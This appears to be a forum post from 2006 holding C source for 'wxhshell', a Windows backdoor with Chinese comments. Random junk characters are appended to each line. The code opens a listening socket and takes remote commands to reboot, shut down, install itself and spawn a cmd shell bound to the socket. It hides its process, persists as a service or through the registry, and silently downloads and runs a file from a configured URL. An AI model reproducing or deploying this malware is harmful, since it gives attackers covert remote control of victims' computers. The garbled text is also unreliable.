      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); snaAn?I4  
    break; yTZev|ej@  
  } |))NjM'ZBl  
  // 安装 Lc!2'Do;  
  case 'i': { }nrjA0WN  
    if(Install()) +&.zwniSS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15ailA&(Qm  
    else |k.'w<6mb9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]p!{   
    break; xXJ*xYn "}  
    } xsa`R^5/c  
  // 卸载 FWbp;v{  
  case 'r': { Z6I|Y5#H  
    if(Uninstall()) UF"%FF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vF^d40gV  
    else s#?ZwD,=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sK2N3 B&6  
    break; -6[DQB  
    } v,<14w  
  // 显示 wxhshell 所在路径 R"W}\0k  
  case 'p': { Lt*P&  
    char svExeFile[MAX_PATH]; r!R-3LO0s  
    strcpy(svExeFile,"\n\r"); =WTSaC  
      strcat(svExeFile,ExeFile); XIwJhsYZ'9  
        send(wsh,svExeFile,strlen(svExeFile),0); J,}h{-Xy`  
    break; m?w_ ]  
    } m. pm,  
  // 重启 P&0eu  
  case 'b': { w/|&N>ZOx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K6DN>0sY  
    if(Boot(REBOOT)) 5Zq hyv=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  l<6G Z  
    else { >.meecE?Q  
    closesocket(wsh); 33oW3vS  
    ExitThread(0); "BQnP9  
    } |5 V0_79  
    break; y[m,t}gi  
    } ` aVp#  
  // 关机 d{YvdN9d  
  case 'd': { R'Jrbe|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S;4:`?s=i  
    if(Boot(SHUTDOWN)) HLWffO/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Kt_ oxK,  
    else { {SV/AN  
    closesocket(wsh); Z"8lW+r *  
    ExitThread(0); {lf{0c$X.  
    } k%6CkC w  
    break; :a}](Wn  
    } T.da!!'B f  
  // 获取shell wv9HiHz8gD  
  case 's': { !v}TRGX  
    CmdShell(wsh); 8^>qor.]M  
    closesocket(wsh); /2p*uv }IP  
    ExitThread(0); #8Bh5L!SJ1  
    break; ?tLApy^`?  
  } c_>Gl8J  
  // 退出 U}w'/:H  
  case 'x': { .\ Ijq!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =UKxf  
    CloseIt(wsh); :+\0.\K0!  
    break; .OdtM X y  
    } yCxYFi  
  // 离开 D0Q9A]bD;  
  case 'q': { JLu$1A@ '  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rqjq}L)  
    closesocket(wsh); g<Z :`00|  
    WSACleanup(); X.b8qbnq[  
    exit(1); =v:?rY}  
    break; CXq[VYM&X  
        } 81Z;hO"~  
  } f"s_dR  
  } x*1wsA  
z$J m1l  
  // 提示信息 P) vD?)Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N`W[Q>n  
} kyHli~Nr"  
  } Rzd`MIHDp  
mi=mwN%UB  
  return; NzT &K7v  
} `G$>T#Dq  
BA h'H&;V  
// shell模块句柄 ei5YxV6I  
int CmdShell(SOCKET sock) }5+^  
{ H~FI@Cf$L  
STARTUPINFO si; 3X gJZ  
ZeroMemory(&si,sizeof(si)); x0# Bc7y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0=>$J WF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qj^Uz+b  
PROCESS_INFORMATION ProcessInfo; rg^\gE6_  
char cmdline[]="cmd"; %Y&48''"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M/ 64`lcb  
  return 0; j!4{+&Laq  
} X /c8XLe"  
JVoC2Z<  
// 自身启动模式 ^5X?WA,Z99  
int StartFromService(void) 1ui)Hv=h*  
{ UBwl2Di  
typedef struct f ./K/  
{ ZVXPp -M  
  DWORD ExitStatus; H_?rbz}o  
  DWORD PebBaseAddress; z"4 q%DC  
  DWORD AffinityMask; 5Cdn j  
  DWORD BasePriority; 72;'8  
  ULONG UniqueProcessId; %RD\Sb4YV  
  ULONG InheritedFromUniqueProcessId; BHr,jC  
}   PROCESS_BASIC_INFORMATION; \WiCI:  
T1C_L?L  
PROCNTQSIP NtQueryInformationProcess; :Q`Of}#  
Q+Bl1xl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'APx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /#00'(oD  
I~6) Gk&  
  HANDLE             hProcess; CQ2vFg3+o  
  PROCESS_BASIC_INFORMATION pbi; RZHfT0*jL  
s~7a-J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  DXf  
  if(NULL == hInst ) return 0; "1,*6(;:  
9:2Bt <q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IP`lx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OH/9<T?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :A8r{`R'N  
8c) eaDu  
  if (!NtQueryInformationProcess) return 0; 'pt(  
DWU=qD+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qxI $F  
  if(!hProcess) return 0; ?-j/X6(\(  
3S3 a|_+%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +<Gp >c  
]fajj\  
  CloseHandle(hProcess); 0BXr[%{`  
eay|>xa2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Un]wP`  
if(hProcess==NULL) return 0; ! t!4CY  
2/ +~h(Cc  
HMODULE hMod; @@H/q  
char procName[255]; x+Yo#u22  
unsigned long cbNeeded; y hKH} kR  
uUjjAGZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J'2 Yrn  
|Y Lja87  
  CloseHandle(hProcess); wS=vm}}u  
Gor 9 &aJ1  
if(strstr(procName,"services")) return 1; // 以服务启动 $2W#'_K+  
syr0|K[  
  return 0; // 注册表启动 k' 8q /]  
} SA'g`  
Nk@-yZ@,8  
// 主模块 Mst%]@TG  
int StartWxhshell(LPSTR lpCmdLine) }-tJ.3Zw  
{ >12jUm)  
  SOCKET wsl; WHx #;  
BOOL val=TRUE; vEfj3+e  
  int port=0; 7>f2P!:  
  struct sockaddr_in door; Milp"L?B%  
~B[e*| d  
  if(wscfg.ws_autoins) Install(); 6c!F%xU}  
#H7 SLQr\  
port=atoi(lpCmdLine); JLm3qIC  
Dspvc  
if(port<=0) port=wscfg.ws_port; Pyuul4(  
)<HvIr(xr  
  WSADATA data; :WRD<D_4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uzxwJs'fz  
= 9Yf o,F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fuj9x;8X0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L-- t(G  
  door.sin_family = AF_INET; ]?]M5rP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z=8&`  
  door.sin_port = htons(port); 6-\Mf:%B  
~+{*KPiD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F9LKO3Rh#u  
closesocket(wsl); =+_nVO*  
return 1; 2Rw<0.i|  
} ~2>Adp  
P DY :?/  
  if(listen(wsl,2) == INVALID_SOCKET) { At@0G\^  
closesocket(wsl); $Z;8@O3  
return 1; koT3~FK  
} bYLYJ`hH<R  
  Wxhshell(wsl); x"Ll/E)\v]  
  WSACleanup(); Pt85q?->  
_xAru9=n^  
return 0; vk|f"I  
B{\Y~>]Pj  
} l1]N&jN{  
O`CZwXD  
// 以NT服务方式启动 S$SCW<LuN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /\Nc6Z/ L  
{ FV9{u[3m  
DWORD   status = 0; X[Iy6qt  
  DWORD   specificError = 0xfffffff; zx<t{e7  
gH7  +#/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \j!/l f)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0m1V@ 3]7>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GI{EP&C  
  serviceStatus.dwWin32ExitCode     = 0; %!iqJ)*~  
  serviceStatus.dwServiceSpecificExitCode = 0; NUM!'+H_h  
  serviceStatus.dwCheckPoint       = 0; 5$+7Q$Gw  
  serviceStatus.dwWaitHint       = 0; 7Wef[N\x  
=ttD5 p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Re~6 '  
  if (hServiceStatusHandle==0) return; dlvU=^G#G  
r3x;lICx-  
status = GetLastError(); ]+`K\G ^X  
  if (status!=NO_ERROR) TNh&g.  
{ V^tD@N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k-&<_ghT \  
    serviceStatus.dwCheckPoint       = 0; 0(d!w*RpG  
    serviceStatus.dwWaitHint       = 0; )-X8RRw'  
    serviceStatus.dwWin32ExitCode     = status; nZ=[6?  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;S^"Y:7)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ o2oQ3  
    return; KPy)%i  
  } (@N ILK  
,>#\aO1n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rbOJ;CK  
  serviceStatus.dwCheckPoint       = 0; j8Mt"B  
  serviceStatus.dwWaitHint       = 0; `~\SQ EY$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +h-% {  
} [[_>D M  
Z[[*:9rY|  
// 处理NT服务事件,比如:启动、停止 j+'ua=T3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DCa[?|Y  
{ i5(qJ/u  
switch(fdwControl) \ P6 !  
{ [3=Y 9P:  
case SERVICE_CONTROL_STOP: , l!>+@  
  serviceStatus.dwWin32ExitCode = 0; An>ai N]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (ID%U  
  serviceStatus.dwCheckPoint   = 0; -`ljKp  
  serviceStatus.dwWaitHint     = 0; EyR/   
  { vg?(0Gasm*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6{d?3Jk  
  } >4bw4 Z1  
  return; X`<z5W] !  
case SERVICE_CONTROL_PAUSE: [pms>TQ2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s8A"x`5(  
  break; ^%%Rf  
case SERVICE_CONTROL_CONTINUE: "&XhMw4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gfx !.[Y  
  break; \$Ky AWrZi  
case SERVICE_CONTROL_INTERROGATE: DMA7eZf'Hv  
  break; %npLgCF  
}; ({Yfsf,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OS%[SHs  
} 5fs,UH  
k2lo GvBJ  
// 标准应用程序主函数 F+VNrt-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DNDzK iMk  
{ C!547(l[  
29 !QE>Q  
// 获取操作系统版本 &!;o[joG  
OsIsNt=GetOsVer(); >~7XBb08  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3;b)pQ~6CJ  
C&@'oLr  
  // 从命令行安装 1LFad>`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'H`:c+KDG`  
w9u|E46  
  // 下载执行文件 ,c&t#mu*0  
if(wscfg.ws_downexe) { K_t >T)K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :xmj42w>^  
  WinExec(wscfg.ws_filenam,SW_HIDE); oGZuYpa9  
} > mCH!ey  
'%_K"rb  
if(!OsIsNt) { `"'u mIz  
// 如果时win9x,隐藏进程并且设置为注册表启动 QgH{J8 0  
HideProc(); <Ed;tq  
StartWxhshell(lpCmdLine); _&G_SNa  
} +5-|6  
else 6f0o'  
  if(StartFromService()) >8{{H"$;(  
  // 以服务方式启动 DB|w&tygq  
  StartServiceCtrlDispatcher(DispatchTable); 0gOca +&  
else *EO*Gg0d  
  // 普通方式启动 0 GFho$f  
  StartWxhshell(lpCmdLine); f3vl=EA4|  
z+M{z r  
return 0; l`6.(6  
}
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只看该作者 1 发表于: 2006-10-10
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